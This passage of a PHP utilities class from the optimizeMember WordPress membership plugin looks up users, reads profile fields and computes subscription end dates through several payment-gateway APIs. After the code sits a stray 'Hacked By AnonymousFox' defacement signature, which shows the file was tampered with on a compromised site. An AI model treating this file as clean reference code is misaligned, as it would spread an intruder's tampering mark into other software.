if (is_object ($user = new WP_User ($q->user_id)) && !empty ($user->ID) && ($email = $user->user_email))
return $email;
}
else if ($subscr_or_txn_id) /* Otherwise, if all we have is a Subscr./Txn. ID value. */
{
if (($q = $wpdb->get_row ("SELECT `user_id` FROM `" . $wpdb->usermeta . "` WHERE (`meta_key` = '" . $wpdb->prefix . "optimizemember_subscr_id' OR `meta_key` = '" . $wpdb->prefix . "optimizemember_first_payment_txn_id') AND `meta_value` = '" . esc_sql ($subscr_or_txn_id) . "' LIMIT 1")))
if (is_object ($user = new WP_User ($q->user_id)) && !empty ($user->ID) && ($email = $user->user_email))
return $email;
}
/**/
return false; /* Otherwise, return false. */
}
/**
* Retrieves IPN Signup Vars & validates their Subscription ID.
*
* The ``$user_id`` can be passed in directly; or a lookup can be performed with ``$subscr_id``.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param int|str $user_id Optional. A numeric WordPress User ID.
* @param str $subscr_id Optional. Can be used instead of passing in a ``$user_id``.
* If ``$subscr_id`` is passed in, it has to match the one found inside the resulting IPN Signup Vars collected by this routine.
* If neither of these parameters are passed in, the current User is assumed instead, obtained through ``wp_get_current_user()``.
* @return array|bool A User's IPN Signup Vars on success, else false on failure.
*/
public static function get_user_ipn_signup_vars ($user_id = FALSE, $subscr_id = FALSE)
{
if ($user_id || ($subscr_id && ($user_id = c_ws_plugin__optimizemember_utils_users::get_user_id_with ($subscr_id))) || (!$user_id && !$subscr_id && is_object ($user = wp_get_current_user ()) && !empty ($user->ID) && ($user_id = $user->ID)))
{
if (($_subscr_id = get_user_option ("optimizemember_subscr_id", $user_id)) && (!$subscr_id || $subscr_id === $_subscr_id) && ($subscr_id = $_subscr_id))
if (is_array ($ipn_signup_vars = get_user_option ("optimizemember_ipn_signup_vars", $user_id)))
if ($ipn_signup_vars["subscr_id"] === $subscr_id)
return $ipn_signup_vars;
}
/**/
return false; /* Otherwise, return false. */
}
/**
* Retrieves IPN Signup Var & validates their Subscription ID.
*
* The ``$user_id`` can be passed in directly; or a lookup can be performed with ``$subscr_id``.
*
* @package optimizeMember\Utilities
* @since 110912
*
* @param str $var Required. The requested Signup Var.
* @param int|str $user_id Optional. A numeric WordPress User ID.
* @param str $subscr_id Optional. Can be used instead of passing in a ``$user_id``.
* If ``$subscr_id`` is passed in, it has to match the one found inside the resulting IPN Signup Vars collected by this routine.
* If neither of these parameters are passed in, the current User is assumed instead, obtained through ``wp_get_current_user()``.
* @return mixed|bool A User's IPN Signup Var on success, else false on failure.
*/
public static function get_user_ipn_signup_var ($var = FALSE, $user_id = FALSE, $subscr_id = FALSE)
{
if (!empty ($var) && is_array ($user_ipn_signup_vars = c_ws_plugin__optimizemember_utils_users::get_user_ipn_signup_vars ($user_id, $subscr_id)))
{
if (isset ($user_ipn_signup_vars[$var])) /* Available? */
return $user_ipn_signup_vars[$var];
}
/**/
return false; /* Otherwise, return false. */
}
/**
* Obtains a User's Paid Subscr. ID *( if available )*; otherwise their WP User ID.
*
* If ``$user`` IS passed in, this function will return data from a specific ``$user``, or fail if not possible.
* If ``$user`` is NOT passed in, check the current User/Member.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param obj $user Optional. A `WP_User` object.
* In order to check the current User, you must call this function with no arguments/parameters.
* @return int|str|bool If possible, the User's Paid Subscr. ID, else their WordPress User ID, else false.
*/
public static function get_user_subscr_or_wp_id ($user = FALSE)
{
if ((func_num_args () && (!is_object ($user) || empty ($user->ID))) || (!func_num_args () && (!is_object ($user = (is_user_logged_in ()) ? wp_get_current_user () : false) || empty ($user->ID))))
{
return false; /* The ``$user`` was passed in but is NOT an object; or nobody is logged in. */
}
else /* Else return Paid Subscr. ID ( if available ), otherwise return their WP database User ID. */
return ($subscr_id = get_user_option ("optimizemember_subscr_id", $user->ID)) ? $subscr_id : $user->ID;
}
/**
* Determines whether or not a Username/Email is already in the database.
*
* Returns the WordPress User ID if they exist.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $user_login A User's Username.
* @param str $user_email A User's Email Address.
* @return int|bool If exists, a WordPress User ID, else false.
*/
public static function user_login_email_exists ($user_login = FALSE, $user_email = FALSE)
{
global $wpdb; /* Global database object reference. */
/**/
if ($user_login && $user_email) /* Only if we have both of these. */
if (($user_id = $wpdb->get_var ("SELECT `ID` FROM `" . $wpdb->users . "` WHERE `user_login` LIKE '" . esc_sql (c_ws_plugin__optimizemember_utils_strings::like_escape ($user_login)) . "' AND `user_email` LIKE '" . esc_sql (c_ws_plugin__optimizemember_utils_strings::like_escape ($user_email)) . "' LIMIT 1")))
return $user_id; /* Return the associated WordPress ID. */
/**/
return false; /* Else return false. */
}
/**
* Determines whether or not a Username/Email is already in the database for this Blog.
*
* Returns the WordPress User ID if they exist.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $user_login A User's Username.
* @param str $user_email A User's Email Address.
* @param int|str $blog_id A numeric WordPress Blog ID.
* @return int|bool If exists *( but not on Blog )*, a WordPress User ID, else false.
*/
public static function ms_user_login_email_exists_but_not_on_blog ($user_login = FALSE, $user_email = FALSE, $blog_id = FALSE)
{
if ($user_login && $user_email) /* Only if we have both of these. */
if (is_multisite () && ($user_id = c_ws_plugin__optimizemember_utils_users::user_login_email_exists ($user_login, $user_email)) && !is_user_member_of_blog ($user_id, $blog_id))
return $user_id;
/**/
return false; /* Else return false. */
}
/**
* Determines whether or not a Username/Email is already in the database for this Blog.
*
* This is an alias for: `c_ws_plugin__optimizemember_utils_users::ms_user_login_email_exists_but_not_on_blog()`.
*
* Returns the WordPress User ID if they exist.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $user_login A User's Username.
* @param str $user_email A User's Email Address.
* @param int|str $blog_id A numeric WordPress Blog ID.
* @return int|bool If exists *( but not on Blog )*, a WordPress User ID, else false.
*/
public static function ms_user_login_email_can_join_blog ($user_login = FALSE, $user_email = FALSE, $blog_id = FALSE)
{
return c_ws_plugin__optimizemember_utils_users::ms_user_login_email_exists_but_not_on_blog ($user_login, $user_email, $blog_id);
}
/**
* Retrieves a field value. Also supports Custom Fields.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $field_id Required. A unique Custom Registration/Profile Field ID, that you configured with optimizeMember.
* Or, this could be set to any property that exists on the WP_User object for a particular User;
* ( i.e. `id`, `ID`, `user_login`, `user_email`, `first_name`, `last_name`, `display_name`, `ip`, `IP`,
* `optimizemember_registration_ip`, `optimizemember_custom`, `optimizemember_subscr_id`, `optimizemember_subscr_or_wp_id`,
* `optimizemember_subscr_gateway`, `optimizemember_custom_fields`, `optimizemember_file_download_access_[log|arc]`,
* `optimizemember_auto_eot_time`, `optimizemember_last_payment_time`, `optimizemember_paid_registration_times`,
* `optimizemember_access_role`, `optimizemember_access_level`, `optimizemember_access_label`,
* `optimizemember_access_ccaps`, etc, etc. ).
* @param int|str $user_id Optional. Defaults to the current User's ID.
* @return mixed The value of the requested field, or false if the field does not exist.
*/
public static function get_user_field ($field_id = FALSE, $user_id = FALSE) /* Very powerful function here. */
{
global $wpdb; /* Global database object reference. We'll need this to obtain the right database prefix. */
/**/
$current_user = wp_get_current_user (); /* Current User's object ( used when/if `$user_id` is empty ). */
/**/
if (is_object ($user = ($user_id) ? new WP_User ($user_id) : $current_user) && !empty ($user->ID) && ($user_id = $user->ID))
{
if (isset ($user->$field_id)) /* Immediate User object property? ( most likely ) */
return $user->$field_id;
/**/
else if (isset ($user->data->$field_id)) /* Also try the data object property. */
return $user->data->$field_id;
/**/
else if (isset ($user->{$wpdb->prefix . $field_id})) /* Immediate prefixed? */
return $user->{$wpdb->prefix . $field_id};
/**/
else if (isset ($user->data->{$wpdb->prefix . $field_id})) /* Data prefixed? */
return $user->data->{$wpdb->prefix . $field_id};
/**/
else if (strcasecmp ($field_id, "full_name") === 0) /* First/last full name? */
return trim ($user->first_name . " " . $user->last_name);
/**/
else if (preg_match ("/^(email|user_email)$/i", $field_id)) /* Email address? */
return $user->user_email;
/**/
else if (preg_match ("/^(login|user_login)$/i", $field_id)) /* Username / login? */
return $user->user_login;
/**/
else if (strcasecmp ($field_id, "optimizemember_access_role") === 0) /* Role name/ID? */
return c_ws_plugin__optimizemember_user_access::user_access_role ($user);
/**/
else if (strcasecmp ($field_id, "optimizemember_access_level") === 0) /* Access Level? */
return c_ws_plugin__optimizemember_user_access::user_access_level ($user);
/**/
else if (strcasecmp ($field_id, "optimizemember_access_label") === 0) /* Access Label? */
return c_ws_plugin__optimizemember_user_access::user_access_label ($user);
/**/
else if (strcasecmp ($field_id, "optimizemember_access_ccaps") === 0) /* Custom Caps? */
return c_ws_plugin__optimizemember_user_access::user_access_ccaps ($user);
/**/
else if (strcasecmp ($field_id, "ip") === 0 && is_object ($current_user) && !empty ($current_user->ID) && $current_user->ID === ($user_id = $user->ID))
return $_SERVER["REMOTE_ADDR"]; /* The current User's IP address, right now. */
/**/
else if (strcasecmp ($field_id, "optimizemember_registration_ip") === 0 || strcasecmp ($field_id, "reg_ip") === 0 || strcasecmp ($field_id, "ip") === 0)
return get_user_option ("optimizemember_registration_ip", $user_id);
/**/
else if (strcasecmp ($field_id, "optimizemember_subscr_or_wp_id") === 0)
return ($subscr_id = get_user_option ("optimizemember_subscr_id", $user_id)) ? $subscr_id : $user_id;
/**/
else if (is_array ($fields = get_user_option ("optimizemember_custom_fields", $user_id)))
if (isset ($fields[preg_replace ("/[^a-z0-9]/i", "_", strtolower ($field_id))]))
return $fields[preg_replace ("/[^a-z0-9]/i", "_", strtolower ($field_id))];
}
/**/
return false; /* Default, return false. */
}
/**
* Auto EOT time, else NPR (next payment time).
*
* @param int|string $user_id Optional. Defaults to the current User's ID.
* @param bool $check_gateway Defaults to a true value. If this is false, it is only possible to return a fixed EOT time.
* In other words, if this is false and there is no EOT time, empty values will be returned. Be careful with this, because not checking
* the payment gateway can result in an inaccurate return value. Only set to false if you want to limit the check to a fixed hard-coded EOT time.
* @param string $favor Defaults to a value of `fixed`; i.e., if a fixed EOT time is available, that is returned in favor of a next payment time.
* You can set this to `next` if you'd like to favor a next payment time (when applicable) instead of returning a fixed EOT time.
*
* @return array An associative array of EOT details; with the following elements.
*
* - `type` One of `fixed` (a fixed EOT time), `next` (next payment time; i.e., an ongoing recurring subscription); or an empty string if there is no EOT for the user.
* - `time` The timestamp (UTC time) that represents the EOT (End Of Term); else `0` if there is no EOT time.
* - `tense` If time is now (or earlier) this will be `past`. If time is in the future, this will be `future`. If there is no time, this is an empty string.
* - `debug` A string of details that explain to a developer what was returned. For debugging only.
*/
public static function get_user_eot($user_id = 0, $check_gateway = TRUE, $favor = 'fixed')
{
if(!($user_id = (integer)$user_id)) // Empty user ID in this call?
$user_id = get_current_user_id(); // Assume current user.
if(!$favor || !in_array($favor, array('fixed', 'next'), TRUE))
$favor = 'fixed'; // Default behavior.
$now = time(); // Current timestamp.
$grace_time = (isset($GLOBALS['WS_PLUGIN__']['optimizemember']['o']['eot_grace_time'])) ? (integer)$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['eot_grace_time'] : 0;
$grace_time = (integer)apply_filters('ws_plugin__optimizemember_eot_grace_time', $grace_time);
$demotion_role = c_ws_plugin__optimizemember_option_forces::force_demotion_role('subscriber');
$empty_response = array('type' => '', 'time' => 0, 'tense' => '', 'debug' => '');
if(!$user_id || !($user = new WP_User($user_id)) || !$user->ID)
return array_merge($empty_response, array('debug' => 'Invalid user ID.'));
$ipn_signup_vars = self::get_user_ipn_signup_vars($user->ID);
$subscr_gateway = (string)get_user_option('optimizemember_subscr_gateway', $user->ID);
$subscr_id = (string)get_user_option('optimizemember_subscr_id', $user->ID);
$subscr_cid = (string)get_user_option('optimizemember_subscr_cid', $user->ID);
$last_auto_eot_time = (integer)get_user_option('optimizemember_last_auto_eot_time', $user->ID);
$auto_eot_time = (integer)get_user_option('optimizemember_auto_eot_time', $user->ID);
if($auto_eot_time) // They have a hard-coded EOT time at present?
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is a fixed EOT time recorded by OptimizeMember. It can be altered in the WordPress Dashboard for this user.');
if(!$subscr_gateway && !$subscr_id && !$subscr_cid && $last_auto_eot_time // EOTd?
&& (!user_can($user->ID, 'access_optimizemember_level1') || c_ws_plugin__optimizemember_user_access::user_access_role($user) === $demotion_role)
&& !c_ws_plugin__optimizemember_user_access::user_access_ccaps($user) // And no CCAPs either?
) return array('type' => 'fixed', 'time' => $last_auto_eot_time, 'tense' => $last_auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is an archived/fixed EOT time recorded by s2Member; i.e., the date this customer\'s access expired.');
if(!$subscr_gateway || !$subscr_id || !is_array($ipn_signup_vars) || !$ipn_signup_vars)
return array_merge($empty_response, array('debug' => 'This user has no subscription; i.e., missing `subscr_id`, `subscr_gateway` or `ipn_signup_vars`.'));
if(empty($ipn_signup_vars['txn_type']) || $ipn_signup_vars['txn_type'] !== 'subscr_signup')
return array_merge($empty_response, array('debug' => 'This user has no subscription; i.e., `txn_type` != `subscr_signup`.'));
$auto_eot_time // Update this now; i.e., build a new EOT time based on IPN signup vars.
= c_ws_plugin__optimizemember_utils_time::auto_eot_time($user->ID, $ipn_signup_vars['period1'], $ipn_signup_vars['period3']);
if($check_gateway) switch($subscr_gateway) // A bit different for each payment gateway.
{
case 'paypal': // PayPal (PayPal Pro only).
if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()
|| !class_exists('c_ws_plugin__optimizemember_pro_paypal_utilities')
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['paypal_api_username']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['paypal_api_password']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['paypal_api_signature']
) return array_merge($empty_response, array('debug' => 'PayPal Pro API credentials missing in your OptimizeMember configuration.'));
if($GLOBALS['WS_PLUGIN__']['optimizemember']['o']['paypal_payflow_api_username'])
{
if(!($api_response = c_ws_plugin__optimizemember_pro_paypal_utilities::payflow_get_profile($subscr_id)) || !empty($api_response['__error']))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the PayPal Pro API says there is no subscription for this user.'));
if(preg_match('/^(?:Pending|PendingProfile)$/i', $api_response['STATUS']))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the PayPal Pro API says the subscription for this user is currently pending changes. Unable to determine at this moment. Please try again in 15 minutes.'));
if(!preg_match('/^(?:Active|ActiveProfile)$/i', $api_response['STATUS']))
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is the estimated EOT time. The PayPal Pro API says this subscription is no longer active, and thus, access should be terminated at this time.');
if($api_response['TERM'] > 0 && $api_response['PAYMENTSLEFT'] <= 0)
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is the estimated EOT time. The PayPal Pro API says this subscription has reached its last payment, and thus, access should be terminated at this time.');
if($api_response['TERM'] <= 0 || $api_response['PAYMENTSLEFT'] > 0)
if($api_response['NEXTPAYMENT'] && strlen($api_response['NEXTPAYMENT']) === 8) // MMDDYYYY format is not `strtotime()` compatible.
if(($time = strtotime(substr($api_response['NEXTPAYMENT'], -4).'-'.substr($api_response['NEXTPAYMENT'], 0, 2).'-'.substr($api_response['NEXTPAYMENT'], 2, 2))) > $now)
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The PayPal Pro API says this is the next payment time.');
}
else // Use PayPal Pro API (old flavor).
{
$api_args = array(
'METHOD' => 'GetRecurringPaymentsProfileDetails',
'PROFILEID' => $subscr_id,
);
if(!($api_response = c_ws_plugin__optimizemember_paypal_utilities::paypal_api_response($api_args)) || !empty($api_response['__error']))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the PayPal Pro API says there is no subscription for this user.'));
if(preg_match('/^(?:Pending|PendingProfile)$/i', $api_response['STATUS']))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the PayPal Pro API says the subscription for this user is currently pending changes. Unable to determine at this moment. Please try again in 15 minutes.'));
if(!preg_match('/^(?:Active|ActiveProfile)$/i', $api_response['STATUS']))
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is the estimated EOT time. The PayPal Pro API says this subscription is no longer active, and thus, access should be terminated at this time.');
if($api_response['TOTALBILLINGCYCLES'] > 0 && $api_response['NUMCYCLESREMAINING'] <= 0)
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is the estimated EOT time. The PayPal Pro API says this subscription has reached its last payment, and thus, access should be terminated at this time.');
if($api_response['TOTALBILLINGCYCLES'] <= 0 || $api_response['NUMCYCLESREMAINING'] > 0)
if($api_response['NEXTBILLINGDATE'] && ($time = strtotime($api_response['NEXTBILLINGDATE'])) > $now)
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The PayPal Pro API says this is the next payment time.');
}
return array_merge($empty_response, array('debug' => 'No fixed EOT, and there are no more payments needed from this user.'));
break; // Break switch.
case 'authnet': // Authorize.Net (EOT only; w/ limited functionality).
if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()
|| !class_exists('c_ws_plugin__optimizemember_pro_authnet_utilities')
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_authnet_api_login_id']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_authnet_api_trans_key']
) return array_merge($empty_response, array('debug' => 'Authorize.Net API credentials missing in your OptimizeMember configuration.'));
$api_args = array(
'x_method' => 'status',
'x_subscription_id' => $subscr_id,
);
if(!($api_response = c_ws_plugin__optimizemember_pro_authnet_utilities::authnet_arb_response($api_args)) || !empty($api_response['__error']))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the Authorize.Net API says there is no subscription for this user.'));
if(!preg_match('/^(?:active)$/i', $api_response['subscription_status']))
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is the estimated EOT time. The Authorize.Net API says this subscription is no longer active, and thus, access should be terminated at this time.');
// Next payment time not possible with Authorize.Net at this time.
// Fixed recurring intervals not possible to query with Authorize.Net at this time.
return array_merge($empty_response, array('debug' => 'Partially-supported payment gateway; unable to determine.'));
break; // Break switch.
case 'stripe': // Stripe payment gateway (best).
if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()
|| !class_exists('c_ws_plugin__optimizemember_pro_stripe_utilities')
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_stripe_api_publishable_key']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_stripe_api_secret_key']
) return array_merge($empty_response, array('debug' => 'Stripe API credentials missing in your OptimizeMember configuration.'));
if(!$subscr_cid) return array_merge($empty_response, array('debug' => 'No fixed EOT, and no `subscr_cid` on file. Unable to determine.'));
if(!is_object($stripe_subscription = c_ws_plugin__optimizemember_pro_stripe_utilities::get_customer_subscription($subscr_cid, $subscr_id)) || empty($stripe_subscription->id))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the Stripe API says there is no subscription for this user.'));
if((integer)$stripe_subscription->ended_at > 0) // Done?
{
$time = $stripe_subscription->ended_at + $grace_time;
return array('type' => 'fixed', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this subscription reached an expiration on this date + grace time.');
}
if(in_array($stripe_subscription->status, array('canceled', 'unpaid'), TRUE) || $stripe_subscription->cancel_at_period_end)
{
$time = $stripe_subscription->current_period_end + $grace_time;
return array('type' => 'fixed', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this subscription was cancelled, and thus, should EOT on this date + grace time.');
}
if(isset($stripe_subscription->plan->metadata->recurring, $stripe_subscription->plan->metadata->recurring_times)
&& !$stripe_subscription->plan->metadata->recurring) // Non-recurring subscription?
{
$time = (integer)$stripe_subscription->start;
$time += $stripe_subscription->plan->trial_period_days * DAY_IN_SECONDS;
switch($stripe_subscription->plan->interval)
{
case 'day': // Every X days in this case.
$time += (DAY_IN_SECONDS * $stripe_subscription->plan->interval_count) * 1;
break; // Break switch now.
case 'week': // Every X weeks in this case.
$time += (WEEK_IN_SECONDS * $stripe_subscription->plan->interval_count) * 1;
break; // Break switch now.
case 'month': // Every X months in this case.
$time += ((WEEK_IN_SECONDS * 4) * $stripe_subscription->plan->interval_count) * 1;
break; // Break switch now.
case 'year': // Every X years in this case.
$time += (YEAR_IN_SECONDS * $stripe_subscription->plan->interval_count) * 1;
break; // Break switch now.
}
if($favor === 'next' && $stripe_subscription->current_period_end + 1 < $time)
{
if($stripe_subscription->current_period_end + 1 > $now)
{
$time = $stripe_subscription->current_period_end + 1;
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this is the next payment time.');
}
return array_merge($empty_response, array('debug' => 'Stripe says no more payments needed from this user.'));
}
$time += $grace_time; // Now add grace to the final EOT time.
return array('type' => 'fixed', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this subscription will be completely over on this date + grace time.');
}
if(isset($stripe_subscription->plan->metadata->recurring, $stripe_subscription->plan->metadata->recurring_times)
&& $stripe_subscription->plan->metadata->recurring && $stripe_subscription->plan->metadata->recurring_times <= 0)
{
if($stripe_subscription->current_period_end + 1 > $now)
{
$time = $stripe_subscription->current_period_end + 1;
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this is the next payment time.');
}
return array_merge($empty_response, array('debug' => 'Stripe says no more payments needed from this user.'));
}
if(isset($stripe_subscription->plan->metadata->recurring, $stripe_subscription->plan->metadata->recurring_times)
&& $stripe_subscription->plan->metadata->recurring && $stripe_subscription->plan->metadata->recurring_times > 0)
{
$time = (integer)$stripe_subscription->start;
$time += $stripe_subscription->plan->trial_period_days * DAY_IN_SECONDS;
switch($stripe_subscription->plan->interval)
{
case 'day': // Every X days in this case.
$time += (DAY_IN_SECONDS * $stripe_subscription->plan->interval_count)
* $stripe_subscription->plan->metadata->recurring_times;
break; // Break switch now.
case 'week': // Every X weeks in this case.
$time += (WEEK_IN_SECONDS * $stripe_subscription->plan->interval_count)
* $stripe_subscription->plan->metadata->recurring_times;
break; // Break switch now.
case 'month': // Every X months in this case.
$time += ((WEEK_IN_SECONDS * 4) * $stripe_subscription->plan->interval_count)
* $stripe_subscription->plan->metadata->recurring_times;
break; // Break switch now.
case 'year': // Every X years in this case.
$time += (YEAR_IN_SECONDS * $stripe_subscription->plan->interval_count)
* $stripe_subscription->plan->metadata->recurring_times;
break; // Break switch now.
}
if($favor === 'next' && $stripe_subscription->current_period_end + 1 < $time)
{
if($stripe_subscription->current_period_end + 1 > $now)
{
$time = $stripe_subscription->current_period_end + 1;
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this is the next payment time.');
}
return array_merge($empty_response, array('debug' => 'Stripe says no more payments needed from this user.'));
}
$time += $grace_time; // Now add grace to the final EOT time.
return array('type' => 'fixed', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this subscription will be completely over on this date + grace time.');
}
if($stripe_subscription->current_period_end + 1 > $now)
{
$time = $stripe_subscription->current_period_end + 1;
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The Stripe API says this is the next payment time.');
}
return array_merge($empty_response, array('debug' => 'No fixed EOT, and Stripe says there are no more payments needed from this user.'));
break; // Break switch.
case 'clickbank': // ClickBank (limited functionality).
if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()
|| !class_exists('c_ws_plugin__optimizemember_pro_clickbank_utilities')
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_clickbank_username']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_clickbank_clerk_key']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_clickbank_developer_key']
|| !$GLOBALS['WS_PLUGIN__']['optimizemember']['o']['pro_clickbank_secret_key']
) return array_merge($empty_response, array('debug' => 'ClickBank API credentials missing in your OptimizeMember configuration.'));
if(empty($ipn_signup_vars['txn_id'])) // ClickBank receipt number.
return array_merge($empty_response, array('debug' => 'No fixed EOT, and no `txn_id` on file. Unable to determine.'));
if(!($api_response = c_ws_plugin__optimizemember_pro_clickbank_utilities::clickbank_api_order($ipn_signup_vars['txn_id'])))
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the ClickBank API says there is no subscription for this user.'));
if(!preg_match('/^(?:TEST_)?SALE$/i', $api_response['txnType']) || !$api_response['recurring'])
return array_merge($empty_response, array('debug' => 'No fixed EOT, and the ClickBank API says there is no recurring subscription for this user.'));
if(strcasecmp($api_response['status'], 'active') !== 0 || $api_response['futurePayments'] <= 0)
return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
'debug' => 'This is the estimated EOT time. The ClickBank API says this subscription no longer active, or it has reached its last payment, and thus, access should be terminated at this time.');
if($api_response['nextPaymentDate'] && ($time = strtotime($api_response['nextPaymentDate'])) > $now)
return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
'debug' => 'The ClickBank API says this is the next payment time.');
return array_merge($empty_response, array('debug' => 'No fixed EOT, and there are no more payments needed from this user.'));
break; // Break switch.
default: // Default case handler.
return array_merge($empty_response, array('debug' => 'Partially-supported payment gateway; unable to determine.'));
}
return array_merge($empty_response, array('debug' => 'Payment gateway check disabled; unable to determine.'));
}
}
}
Hacked By AnonymousFox1.0, Coded By AnonymousFox